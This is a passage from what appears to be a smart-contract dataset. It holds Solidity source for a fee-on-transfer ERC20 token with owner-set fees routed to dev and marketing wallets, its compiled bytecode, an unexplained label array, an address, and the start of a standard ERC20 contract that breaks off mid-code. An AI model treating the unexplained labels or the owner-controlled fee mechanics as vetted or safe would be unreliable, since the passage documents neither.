devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } }
0x6080604052600436106103395760003560e01c80638ea5220f116101ab578063c0246668116100f7578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d314610994578063f2fde38b146109aa578063f6374342146109ca578063f8b45b05146109e057600080fd5b8063dd62ed3e14610923578063e2f4560514610969578063e884f2601461097f57600080fd5b8063c876d0b9116100d1578063c876d0b9146108bd578063c8c8ebe4146108d7578063d257b34f146108ed578063d85ba0631461090d57600080fd5b8063c02466681461085d578063c17b5b8c1461087d578063c18bc1951461089d57600080fd5b80639fccce3211610164578063a9059cbb1161013e578063a9059cbb146107ce578063aacebbe3146107ee578063b62496f51461080e578063bbc0c7421461083e57600080fd5b80639fccce3214610782578063a0d82dc514610798578063a457c2d7146107ae57600080fd5b80638ea5220f146106e15780639213691314610701578063924de9b71461071757806395d89b41146107375780639a7a23d61461074c5780639c3b4fdc1461076c57600080fd5b806349bd5a5e11610285578063751039fc116102235780637bce5a04116101fd5780637bce5a04146106785780638095d5641461068e5780638a8c523c146106ae5780638da5cb5b146106c357600080fd5b8063751039fc146106235780637571336a1461063857806375f0a8741461065857600080fd5b80636a486a8e1161025f5780636a486a8e146105a25780636ddd1713146105b857806370a08231146105d8578063715018a61461060e57600080fd5b806349bd5a5e1461051b5780634a62bb651461054f5780634fbee1931461056957600080fd5b80631a8145bb116102f257806323b872dd116102cc57806323b872dd146104a957806327c8f835146104c9578063313ce567146104df57806339509351146104fb57600080fd5b80631a8145bb1461045d5780631f3fed8f14610473578063203e727e1461048957600080fd5b806306fdde0314610345578063095ea7b31461037057806310d5de53146103a05780631694505e146103d057806318160ddd1461041c5780631816467f1461043b57600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5061035a6109f6565b60405161036791906126c5565b60405180910390f35b34801561037c57600080fd5b5061039061038b366004612732565b610a88565b6040519015158152602001610367565b3480156103ac57600080fd5b506103906103bb36600461275e565b601a6020526000908152604090205460ff1681565b3480156103dc57600080fd5b506104047f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610367565b34801561042857600080fd5b506002545b604051908152602001610367565b34801561044757600080fd5b5061045b61045636600461275e565b610a9f565b005b34801561046957600080fd5b5061042d60175481565b34801561047f57600080fd5b5061042d60165481565b34801561049557600080fd5b5061045b6104a436600461277b565b610b2f565b3480156104b557600080fd5b506103906104c4366004612794565b610c0c565b3480156104d557600080fd5b5061040461dead81565b3480156104eb57600080fd5b5060405160128152602001610367565b34801561050757600080fd5b50610390610516366004612732565b610c75565b34801561052757600080fd5b506104047f000000000000000000000000530aed9ec082991a32f1920c25567641eaeffd9281565b34801561055b57600080fd5b50600b546103909060ff1681565b34801561057557600080fd5b5061039061058436600461275e565b6001600160a01b031660009081526019602052604090205460ff1690565b3480156105ae57600080fd5b5061042d60125481565b3480156105c457600080fd5b50600b546103909062010000900460ff1681565b3480156105e457600080fd5b5061042d6105f336600461275e565b6001600160a01b031660009081526020819052604090205490565b34801561061a57600080fd5b5061045b610cab565b34801561062f57600080fd5b50610390610d1f565b34801561064457600080fd5b5061045b6106533660046127e5565b610d5c565b34801561066457600080fd5b50600654610404906001600160a01b031681565b34801561068457600080fd5b5061042d600f5481565b34801561069a57600080fd5b5061045b6106a936600461281a565b610db1565b3480156106ba57600080fd5b5061045b610e59565b3480156106cf57600080fd5b506005546001600160a01b0316610404565b3480156106ed57600080fd5b50600754610404906001600160a01b031681565b34801561070d57600080fd5b5061042d60135481565b34801561072357600080fd5b5061045b610732366004612846565b610e96565b34801561074357600080fd5b5061035a610edc565b34801561075857600080fd5b5061045b6107673660046127e5565b610eeb565b34801561077857600080fd5b5061042d60115481565b34801561078e57600080fd5b5061042d60185481565b3480156107a457600080fd5b5061042d60155481565b3480156107ba57600080fd5b506103906107c9366004612732565b610fcb565b3480156107da57600080fd5b506103906107e9366004612732565b61101a565b3480156107fa57600080fd5b5061045b61080936600461275e565b611027565b34801561081a57600080fd5b5061039061082936600461275e565b601b6020526000908152604090205460ff1681565b34801561084a57600080fd5b50600b5461039090610100900460ff1681565b34801561086957600080fd5b5061045b6108783660046127e5565b6110ae565b34801561088957600080fd5b5061045b61089836600461281a565b611137565b3480156108a957600080fd5b5061045b6108b836600461277b565b6111da565b3480156108c957600080fd5b50600d546103909060ff1681565b3480156108e357600080fd5b5061042d60085481565b3480156108f957600080fd5b5061039061090836600461277b565b6112ab565b34801561091957600080fd5b5061042d600e5481565b34801561092f57600080fd5b5061042d61093e366004612861565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561097557600080fd5b5061042d60095481565b34801561098b57600080fd5b50610390611402565b3480156109a057600080fd5b5061042d60105481565b3480156109b657600080fd5b5061045b6109c536600461275e565b61143f565b3480156109d657600080fd5b5061042d60145481565b3480156109ec57600080fd5b5061042d600a5481565b606060038054610a059061289a565b80601f0160208091040260200160405190810160405280929190818152602001828054610a319061289a565b8015610a7e5780601f10610a5357610100808354040283529160200191610a7e565b820191906000526020600020905b815481529060010190602001808311610a6157829003601f168201915b5050505050905090565b6000610a95338484611590565b5060015b92915050565b6005546001600160a01b03163314610ad25760405162461bcd60e51b8152600401610ac9906128d5565b60405180910390fd5b6007546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610b595760405162461bcd60e51b8152600401610ac9906128d5565b670de0b6b3a76400006103e8610b6e60025490565b610b79906001612920565b610b83919061293f565b610b8d919061293f565b811015610bf45760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610ac9565b610c0681670de0b6b3a7640000612920565b60085550565b6000610c198484846116b5565b610c6b8433610c6685604051806060016040528060288152602001612b11602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611f04565b611590565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a95918590610c66908661152a565b6005546001600160a01b03163314610cd55760405162461bcd60e51b8152600401610ac9906128d5565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610d4c5760405162461bcd60e51b8152600401610ac9906128d5565b50600b805460ff19169055600190565b6005546001600160a01b03163314610d865760405162461bcd60e51b8152600401610ac9906128d5565b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610ddb5760405162461bcd60e51b8152600401610ac9906128d5565b600f8390556010829055601181905580610df58385612961565b610dff9190612961565b600e81905560141015610e545760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c6573730000006044820152606401610ac9565b505050565b6005546001600160a01b03163314610e835760405162461bcd60e51b8152600401610ac9906128d5565b600b805462ffff00191662010100179055565b6005546001600160a01b03163314610ec05760405162461bcd60e51b8152600401610ac9906128d5565b600b8054911515620100000262ff000019909216919091179055565b606060048054610a059061289a565b6005546001600160a01b03163314610f155760405162461bcd60e51b8152600401610ac9906128d5565b7f000000000000000000000000530aed9ec082991a32f1920c25567641eaeffd926001600160a01b0316826001600160a01b03161415610fbd5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610ac9565b610fc78282611f3e565b5050565b6000610a953384610c6685604051806060016040528060258152602001612b39602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611f04565b6000610a953384846116b5565b6005546001600160a01b031633146110515760405162461bcd60e51b8152600401610ac9906128d5565b6006546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146110d85760405162461bcd60e51b8152600401610ac9906128d5565b6001600160a01b038216600081815260196020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146111615760405162461bcd60e51b8152600401610ac9906128d5565b6013839055601482905560158190558061117b8385612961565b6111859190612961565b601281905560191015610e545760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610ac9565b6005546001600160a01b031633146112045760405162461bcd60e51b8152600401610ac9906128d5565b670de0b6b3a76400006103e861121960025490565b611224906005612920565b61122e919061293f565b611238919061293f565b8110156112935760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610ac9565b6112a581670de0b6b3a7640000612920565b600a5550565b6005546000906001600160a01b031633146112d85760405162461bcd60e51b8152600401610ac9906128d5565b620186a06112e560025490565b6112f0906001612920565b6112fa919061293f565b8210156113675760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610ac9565b6103e861137360025490565b61137e906005612920565b611388919061293f565b8211156113f45760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610ac9565b50600981905560015b919050565b6005546000906001600160a01b0316331461142f5760405162461bcd60e51b8152600401610ac9906128d5565b50600d805460ff19169055600190565b6005546001600160a01b031633146114695760405162461bcd60e51b8152600401610ac9906128d5565b6001600160a01b0381166114ce5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ac9565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806115378385612961565b9050838110156115895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ac9565b9392505050565b6001600160a01b0383166115f25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ac9565b6001600160a01b0382166116535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ac9565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166116db5760405162461bcd60e51b8152600401610ac990612979565b6001600160a01b0382166117015760405162461bcd60e51b8152600401610ac9906129be565b8061171257610e5483836000611f92565b600b5460ff1615611bcf576005546001600160a01b0384811691161480159061174957506005546001600160a01b03838116911614155b801561175d57506001600160a01b03821615155b801561177457506001600160a01b03821661dead14155b801561178a5750600554600160a01b900460ff16155b15611bcf57600b54610100900460ff16611822576001600160a01b03831660009081526019602052604090205460ff16806117dd57506001600160a01b03821660009081526019602052604090205460ff165b6118225760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610ac9565b600d5460ff1615611969576005546001600160a01b0383811691161480159061187d57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b80156118bb57507f000000000000000000000000530aed9ec082991a32f1920c25567641eaeffd926001600160a01b0316826001600160a01b031614155b1561196957326000908152600c602052604090205443116119565760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610ac9565b326000908152600c602052604090204390555b6001600160a01b0383166000908152601b602052604090205460ff1680156119aa57506001600160a01b0382166000908152601a602052604090205460ff16155b15611a8e57600854811115611a1f5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610ac9565b600a546001600160a01b038316600090815260208190526040902054611a459083612961565b1115611a895760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ac9565b611bcf565b6001600160a01b0382166000908152601b602052604090205460ff168015611acf57506001600160a01b0383166000908152601a602052604090205460ff16155b15611b4557600854811115611a895760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610ac9565b6001600160a01b0382166000908152601a602052604090205460ff16611bcf57600a546001600160a01b038316600090815260208190526040902054611b8b9083612961565b1115611bcf5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ac9565b3060009081526020819052604090205460095481108015908190611bfb5750600b5462010000900460ff165b8015611c115750600554600160a01b900460ff16155b8015611c3657506001600160a01b0385166000908152601b602052604090205460ff16155b8015611c5b57506001600160a01b03851660009081526019602052604090205460ff16155b8015611c8057506001600160a01b03841660009081526019602052604090205460ff16155b15611cae576005805460ff60a01b1916600160a01b179055611ca061209b565b6005805460ff60a01b191690555b6005546001600160a01b03861660009081526019602052604090205460ff600160a01b909204821615911680611cfc57506001600160a01b03851660009081526019602052604090205460ff165b15611d05575060005b60008115611ef0576001600160a01b0386166000908152601b602052604090205460ff168015611d3757506000601254115b15611df557611d5c6064611d56601254886122d590919063ffffffff16565b90612354565b905060125460145482611d6f9190612920565b611d79919061293f565b60176000828254611d8a9190612961565b9091555050601254601554611d9f9083612920565b611da9919061293f565b60186000828254611dba9190612961565b9091555050601254601354611dcf9083612920565b611dd9919061293f565b60166000828254611dea9190612961565b90915550611ed29050565b6001600160a01b0387166000908152601b602052604090205460ff168015611e1f57506000600e54115b15611ed257611e3e6064611d56600e54886122d590919063ffffffff16565b9050600e5460105482611e519190612920565b611e5b919061293f565b60176000828254611e6c9190612961565b9091555050600e54601154611e819083612920565b611e8b919061293f565b60186000828254611e9c9190612961565b9091555050600e54600f54611eb19083612920565b611ebb919061293f565b60166000828254611ecc9190612961565b90915550505b8015611ee357611ee3873083611f92565b611eed8186612a01565b94505b611efb878787611f92565b50505050505050565b60008184841115611f285760405162461bcd60e51b8152600401610ac991906126c5565b506000611f358486612a01565b95945050505050565b6001600160a01b0382166000818152601b6020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b038316611fb85760405162461bcd60e51b8152600401610ac990612979565b6001600160a01b038216611fde5760405162461bcd60e51b8152600401610ac9906129be565b61201b81604051806060016040528060268152602001612aeb602691396001600160a01b0386166000908152602081905260409020549190611f04565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461204a908261152a565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016116a8565b30600090815260208190526040812054905060006018546016546017546120c29190612961565b6120cc9190612961565b905060008215806120db575081155b156120e557505050565b6009546120f3906014612920565b83111561210b57600954612108906014612920565b92505b60006002836017548661211e9190612920565b612128919061293f565b612132919061293f565b905060006121408583612396565b90504761214c826123d8565b60006121584783612396565b9050600061217587611d56601654856122d590919063ffffffff16565b9050600061219288611d56601854866122d590919063ffffffff16565b90506000816121a18486612a01565b6121ab9190612a01565b60006017819055601681905560188190556007546040519293506001600160a01b031691849181818185875af1925050503d8060008114612208576040519150601f19603f3d011682016040523d82523d6000602084013e61220d565b606091505b509098505086158015906122215750600081115b156122745761223087826125a7565b601754604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6006546040516001600160a01b03909116904790600081818185875af1925050503d80600081146122c1576040519150601f19603f3d011682016040523d82523d6000602084013e6122c6565b606091505b50505050505050505050505050565b6000826122e457506000610a99565b60006122f08385612920565b9050826122fd858361293f565b146115895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ac9565b600061158983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612697565b600061158983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f04565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061240d5761240d612a18565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561248657600080fd5b505afa15801561249a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124be9190612a2e565b816001815181106124d1576124d1612a18565b60200260200101906001600160a01b031690816001600160a01b03168152505061251c307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611590565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790612571908590600090869030904290600401612a4b565b600060405180830381600087803b15801561258b57600080fd5b505af115801561259f573d6000803e3d6000fd5b505050505050565b6125d2307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611590565b60405163f305d71960e01b815230600482015260248101839052600060448201819052606482015261dead60848201524260a48201527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03169063f305d71990839060c4016060604051808303818588803b15801561265757600080fd5b505af115801561266b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126909190612abc565b5050505050565b600081836126b85760405162461bcd60e51b8152600401610ac991906126c5565b506000611f35848661293f565b600060208083528351808285015260005b818110156126f2578581018301518582016040015282016126d6565b81811115612704576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461272f57600080fd5b50565b6000806040838503121561274557600080fd5b82356127508161271a565b946020939093013593505050565b60006020828403121561277057600080fd5b81356115898161271a565b60006020828403121561278d57600080fd5b5035919050565b6000806000606084860312156127a957600080fd5b83356127b48161271a565b925060208401356127c48161271a565b929592945050506040919091013590565b803580151581146113fd57600080fd5b600080604083850312156127f857600080fd5b82356128038161271a565b9150612811602084016127d5565b90509250929050565b60008060006060848603121561282f57600080fd5b505081359360208301359350604090920135919050565b60006020828403121561285857600080fd5b611589826127d5565b6000806040838503121561287457600080fd5b823561287f8161271a565b9150602083013561288f8161271a565b809150509250929050565b600181811c908216806128ae57607f821691505b602082108114156128cf57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561293a5761293a61290a565b500290565b60008261295c57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156129745761297461290a565b500190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082821015612a1357612a1361290a565b500390565b634e487b7160e01b600052603260045260246000fd5b600060208284031215612a4057600080fd5b81516115898161271a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612a9b5784516001600160a01b031683529383019391830191600101612a76565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612ad157600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203f7415b362b4ce66d060285f76890d36136d2c56537b6e378fa8a2b93eb9d2bd64736f6c63430008090033
[ 21, 4, 7, 13, 5 ]
0xf390727e28a3c0418ab05346691934994dd10513
pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. 